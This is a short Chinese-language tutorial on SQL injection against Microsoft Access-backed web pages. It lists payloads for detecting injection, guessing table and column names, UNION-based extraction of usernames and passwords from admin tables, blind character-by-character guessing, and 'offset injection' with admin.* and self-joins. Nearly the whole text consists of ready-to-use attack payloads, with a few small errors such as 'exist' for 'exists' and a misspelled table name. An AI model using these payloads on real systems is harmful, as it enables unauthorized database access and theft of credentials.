access数据库一般注入方法及偏移注入
1.access数据库与mysql数据库的差别
access没有数据库,access数据库每个数据都是单个文件,每个access只有表结构
mysql : 库名,表名,列名,字段内容
access:表名,列名,字段内容
2. access注入.
1)判断注入.
and 1=1
and 1=2
2)判断表名,列名
exist()
假如表名为user(也可能为login,admin,admin_user等等)
则查询语句为exist(select * from user)
若返回正常则页面存在,列名同理如
and exist(select username from user)
and exist(select password from user)
3)联合查询查询列名
判断列数 order by 10
and 1=2 union select 1,2,3,4,5,6,7,8,9,10 from user
and 1=2 union select 1,username,3,4,password,6,7,8,9,10 from user
4)猜测字段内容
首先猜测字段长度:
and (select top 1 len(username) from admin)>n
若页面正常,则字段长度大于n.
and (select top 1 ascii(substr(username,1,1) from user)>m
若页面显示正常,则字段的第一个字符的ascll码大于m
可使用二分法,burpsuite爆破,dns注入等提高查询速度
3. access偏移注入.
常用于:当我们知道表名无法得知字段名,查询不出字段内容时
order by 13
and 1=2 union select 1,2,3,4,5,6,7,8,9,* from admin 直到*正常
假设一个表有8个字段,admin表有3个字段。
联合查询payload:union select 1,2,3,4,5,6,7,8 from admin
在我们不知道admin有多少字段的情况下可以尝试payload:union select 1,2,3,4,5,6,7,admin.* from admin,此时页面出错
直到payload:union select 1,2,3,4,5,admin.* from admin时页面返回正常,说明admin表有三个字段
然后通过移动admin.*的位置,就可以回显不同的数据
当偏移查询不到时,可以将表给重命名 admin as a admin as b
获取id一样的字段,amin as a inner join admin as b on a.id=b.id来进行整体查询
13-9=4 4*2=8 13-8=5
and 1=2 union select 1,2,3,4,5,* from (admin as a inner join admin as b on a.id=b.id)